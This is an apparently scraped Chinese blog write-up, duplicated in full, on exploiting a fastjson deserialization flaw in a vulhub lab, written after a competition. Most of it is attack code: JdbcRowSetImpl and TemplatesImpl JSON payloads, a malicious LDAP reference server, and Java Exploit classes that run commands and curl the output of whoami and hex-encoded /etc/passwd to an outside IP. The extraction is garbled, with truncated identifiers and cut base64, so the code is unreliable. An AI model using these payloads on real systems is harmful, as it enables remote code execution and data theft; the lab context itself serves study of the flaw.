2023年6月21日发(作者:)

fastjson反序列化漏洞利⽤总结⽐赛遇到了,⼀直没利⽤成功,这⾥做个记录。环境搭建⾸先⽤

vulhub 搭建

fastjson 的漏洞环境。漏洞环境程序的逻辑为接收

body 的数据然后⽤

fastjson 解析。漏洞利⽤⾸先我们需要确认是否存在漏洞,可以采取让服务器发请求到我们的公⽹

vpsPOST / HTTP/1.1Host: 192.168.245.128:8080Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 112{"@type":"wSetImpl", "dataSourceName":"rmi://104.223.70.183:1099/Object","autoCommit":true}⽅案⼀没成功来源/post/#3-L18⽅案⼆⽅案三就是

vulhub ⾃带的⼀种利⽤⽅案。⾸先编译

poc 得到字节码import ;import etException;import ctTranslet;import sIterator;import izationHandler;import ption;public class Poc extends AbstractTranslet { public Poc() throws IOException { time().exec("curl 104.223.70.183:3333/eeee"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, izationHandler[] haFndlers) throws TransletException { } public static void main(String[] args) throws Exception { Poc t = new Poc(); }}然后把

.class ⽂件做

base64 加密import base64fin = open(r"", "rb")fout = open(r"", "w")s = string(()).replace("n", "")(s)()()修改

json 的

_bytecodes 为 刚刚⽣成的

base64 ⽂本 :{"@type":"tesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAE发送到服务器⽅案四⾸先起⼀个

ldap 服务package ;import dress;import medURLException;import ;import SocketFactory;import Factory;import ketFactory;import ryDirectoryServer;import ryDirectoryServerConfig;import ryListenerConfig;import ryInterceptedSearchResult;import ryOperationInterceptor;import ;import ception;import sult;import Code;/** * LDAP server implementation returning JNDI references * * @author mbechler * */public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] args ) { int port = 1389; if ( < 1 || args[ 0 ].indexOf('#') < 0 ) { n(pleName() + " []"); //$NON-NLS-1$ (-1); } else if ( > 1 ) { port = nt(args[ 1 ]); } try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); tenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ ame("0.0.0.0"), //$NON-NLS-1$ port, ault(), ault(), (SSLSocketFactory) ault())); emoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); n("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ istening(); } catch ( Exception e ) { tackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor ( URL cb ) { se = cb; } /** * {@inheritDoc} * * @see ryOperationInterceptor#processSearchResult(ryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = uest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { tackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(se, ().replace('.', '/').concat(".class")); n("Send LDAP reference result for " + base + " redirecting to " + turl); ribute("javaClassName", "Exploit"); String cbstring = ng(); int refPos = f('#'); if ( refPos > 0 ) { cbstring = ing(0, refPos); } ribute("javaCodeBase", cbstring); ribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ ribute("javaFactory", ()); archEntry(e); ult(new LDAPResult(0, S)); } }}参数为104.223.70.183:8000/#Exploit 389编译

mport edInputStream;import edReader;import treamReader;public class Exploit { public static String exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(time().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String lineStr; while ((lineStr = ne()) != null) sb += lineStr + "n"; (); (); return sb; } public Exploit() throws Exception { String result = ""; result = exec("whoami"); String cmd = "curl 104.223.70.183/" + result; throw new Exception(exec(cmd)); } public static void main(String[] args) throws Exception { String result = ""; result = exec("whoami"); String cmd = "curl 104.223.70.183/" + result; throw new Exception(exec(cmd)); }}然后发送

poc 过去。POST / HTTP/1.1Host: 192.168.245.128:8080Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 113{"@type":"wSetImpl","dataSourceName":"ldap://104.223.70.183:389/Exploit", "autoCommit":true}实际利⽤尝试了很多⽅法都反弹不了

shell , 这⾥给⼀种折中的办法,⾸先执⾏命令,然后把结果

16 进制编码,然后⽤

curl 传出来import edInputStream;import edReader;import rayOutputStream;import treamReader;public class Exploit { //转化字符串为⼗六进制编码 public static String toHexString(String s) { String str = ""; for (int i = 0; i < (); i++) { int ch = (int) (i); String s4 = tring(ch); str = str + s4; } return str; } // 转化⼗六进制编码为字符串 public static String toStringHex1(String s) { byte[] baKeyword = new byte[() / 2]; for (int i = 0; i < ; i++) { try { baKeyword[i] = (byte) (0xff & nt(ing( i * 2, i * 2 + 2), 16)); } catch (Exception e) { tackTrace(); } } try { s = new String(baKeyword, "utf-8");// UTF-16le:Not } catch (Exception e1) { tackTrace(); } return s; } // 转化⼗六进制编码为字符串 public static String toStringHex2(String s) { byte[] baKeyword = new byte[() / 2]; for (int i = 0; i < ; i++) { try { baKeyword[i] = (byte) (0xff & nt(ing( i * 2, i * 2 + 2), 16)); } catch (Exception e) { tackTrace(); } } try { s = new String(baKeyword, "utf-8");// UTF-16le:Not } catch (Exception e1) { tackTrace(); } return s; } public static void main(String[] args) { n(encode("中⽂")); n(decode(encode("中⽂"))); } /* * 16进制数字字符集 */ private static String hexString = "ABCDEF"; /* * 将字符串编码成16进制数字,适⽤于所有字符(包括中⽂) */ public static String encode(String str) { // 根据默认编码获取字节数组 byte[] bytes = es(); StringBuilder sb = new StringBuilder( * 2); // 将字节数组中每个字节拆解成2位16进制整数 for (int i = 0; i < ; i++) { (((bytes[i] & 0xf0) >> 4)); (((bytes[i] & 0x0f) >> 0)); } return ng(); } /* * 将16进制数字解码成字符串,适⽤于所有字符(包括中⽂) */ public static String decode(String bytes) { ByteArrayOutputStream baos = new ByteArrayOutputStream( () / 2); // 将每2位16进制整数组装成⼀个字节 for (int i = 0; i < (); i += 2) ((f((i)) << 4 | hexString .indexOf((i + 1)))); return new String(Array()); } public static String exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(time().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String lineStr; while ((lineStr = ne()) != null) sb += lineStr + "n"; (); (); return sb; } public Exploit() throws Exception { String result = ""; result = encode(exec("cat /etc/passwd")); String cmd = ("curl -d "%s" 104.223.70.183/ ", result); throw new Exception(exec(cmd)); }}参考/t/2897#toc-13/shengqi158/fastjson-remote-code-execute-poc

2023年6月21日发(作者:)

fastjson反序列化漏洞利⽤总结⽐赛遇到了,⼀直没利⽤成功,这⾥做个记录。环境搭建⾸先⽤

vulhub 搭建

fastjson 的漏洞环境。漏洞环境程序的逻辑为接收

body 的数据然后⽤

fastjson 解析。漏洞利⽤⾸先我们需要确认是否存在漏洞,可以采取让服务器发请求到我们的公⽹

vpsPOST / HTTP/1.1Host: 192.168.245.128:8080Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 112{"@type":"wSetImpl", "dataSourceName":"rmi://104.223.70.183:1099/Object","autoCommit":true}⽅案⼀没成功来源/post/#3-L18⽅案⼆⽅案三就是

vulhub ⾃带的⼀种利⽤⽅案。⾸先编译

poc 得到字节码import ;import etException;import ctTranslet;import sIterator;import izationHandler;import ption;public class Poc extends AbstractTranslet { public Poc() throws IOException { time().exec("curl 104.223.70.183:3333/eeee"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, izationHandler[] haFndlers) throws TransletException { } public static void main(String[] args) throws Exception { Poc t = new Poc(); }}然后把

.class ⽂件做

base64 加密import base64fin = open(r"", "rb")fout = open(r"", "w")s = string(()).replace("n", "")(s)()()修改

json 的

_bytecodes 为 刚刚⽣成的

base64 ⽂本 :{"@type":"tesImpl","_bytecodes":["yv66vgAAADQANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAE发送到服务器⽅案四⾸先起⼀个

ldap 服务package ;import dress;import medURLException;import ;import SocketFactory;import Factory;import ketFactory;import ryDirectoryServer;import ryDirectoryServerConfig;import ryListenerConfig;import ryInterceptedSearchResult;import ryOperationInterceptor;import ;import ception;import sult;import Code;/** * LDAP server implementation returning JNDI references * * @author mbechler * */public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main ( String[] args ) { int port = 1389; if ( < 1 || args[ 0 ].indexOf('#') < 0 ) { n(pleName() + " []"); //$NON-NLS-1$ (-1); } else if ( > 1 ) { port = nt(args[ 1 ]); } try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); tenerConfigs(new InMemoryListenerConfig( "listen", //$NON-NLS-1$ ame("0.0.0.0"), //$NON-NLS-1$ port, ault(), ault(), (SSLSocketFactory) ault())); emoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ]))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); n("Listening on 0.0.0.0:" + port); //$NON-NLS-1$ istening(); } catch ( Exception e ) { tackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor ( URL cb ) { se = cb; } /** * {@inheritDoc} * * @see ryOperationInterceptor#processSearchResult(ryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = uest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { tackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(se, ().replace('.', '/').concat(".class")); n("Send LDAP reference result for " + base + " redirecting to " + turl); ribute("javaClassName", "Exploit"); String cbstring = ng(); int refPos = f('#'); if ( refPos > 0 ) { cbstring = ing(0, refPos); } ribute("javaCodeBase", cbstring); ribute("objectClass", "javaNamingReference"); //$NON-NLS-1$ ribute("javaFactory", ()); archEntry(e); ult(new LDAPResult(0, S)); } }}参数为104.223.70.183:8000/#Exploit 389编译

mport edInputStream;import edReader;import treamReader;public class Exploit { public static String exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(time().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String lineStr; while ((lineStr = ne()) != null) sb += lineStr + "n"; (); (); return sb; } public Exploit() throws Exception { String result = ""; result = exec("whoami"); String cmd = "curl 104.223.70.183/" + result; throw new Exception(exec(cmd)); } public static void main(String[] args) throws Exception { String result = ""; result = exec("whoami"); String cmd = "curl 104.223.70.183/" + result; throw new Exception(exec(cmd)); }}然后发送

poc 过去。POST / HTTP/1.1Host: 192.168.245.128:8080Pragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 113{"@type":"wSetImpl","dataSourceName":"ldap://104.223.70.183:389/Exploit", "autoCommit":true}实际利⽤尝试了很多⽅法都反弹不了

shell , 这⾥给⼀种折中的办法,⾸先执⾏命令,然后把结果

16 进制编码,然后⽤

curl 传出来import edInputStream;import edReader;import rayOutputStream;import treamReader;public class Exploit { //转化字符串为⼗六进制编码 public static String toHexString(String s) { String str = ""; for (int i = 0; i < (); i++) { int ch = (int) (i); String s4 = tring(ch); str = str + s4; } return str; } // 转化⼗六进制编码为字符串 public static String toStringHex1(String s) { byte[] baKeyword = new byte[() / 2]; for (int i = 0; i < ; i++) { try { baKeyword[i] = (byte) (0xff & nt(ing( i * 2, i * 2 + 2), 16)); } catch (Exception e) { tackTrace(); } } try { s = new String(baKeyword, "utf-8");// UTF-16le:Not } catch (Exception e1) { tackTrace(); } return s; } // 转化⼗六进制编码为字符串 public static String toStringHex2(String s) { byte[] baKeyword = new byte[() / 2]; for (int i = 0; i < ; i++) { try { baKeyword[i] = (byte) (0xff & nt(ing( i * 2, i * 2 + 2), 16)); } catch (Exception e) { tackTrace(); } } try { s = new String(baKeyword, "utf-8");// UTF-16le:Not } catch (Exception e1) { tackTrace(); } return s; } public static void main(String[] args) { n(encode("中⽂")); n(decode(encode("中⽂"))); } /* * 16进制数字字符集 */ private static String hexString = "ABCDEF"; /* * 将字符串编码成16进制数字,适⽤于所有字符(包括中⽂) */ public static String encode(String str) { // 根据默认编码获取字节数组 byte[] bytes = es(); StringBuilder sb = new StringBuilder( * 2); // 将字节数组中每个字节拆解成2位16进制整数 for (int i = 0; i < ; i++) { (((bytes[i] & 0xf0) >> 4)); (((bytes[i] & 0x0f) >> 0)); } return ng(); } /* * 将16进制数字解码成字符串,适⽤于所有字符(包括中⽂) */ public static String decode(String bytes) { ByteArrayOutputStream baos = new ByteArrayOutputStream( () / 2); // 将每2位16进制整数组装成⼀个字节 for (int i = 0; i < (); i += 2) ((f((i)) << 4 | hexString .indexOf((i + 1)))); return new String(Array()); } public static String exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(time().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String lineStr; while ((lineStr = ne()) != null) sb += lineStr + "n"; (); (); return sb; } public Exploit() throws Exception { String result = ""; result = encode(exec("cat /etc/passwd")); String cmd = ("curl -d "%s" 104.223.70.183/ ", result); throw new Exception(exec(cmd)); }}参考/t/2897#toc-13/shengqi158/fastjson-remote-code-execute-poc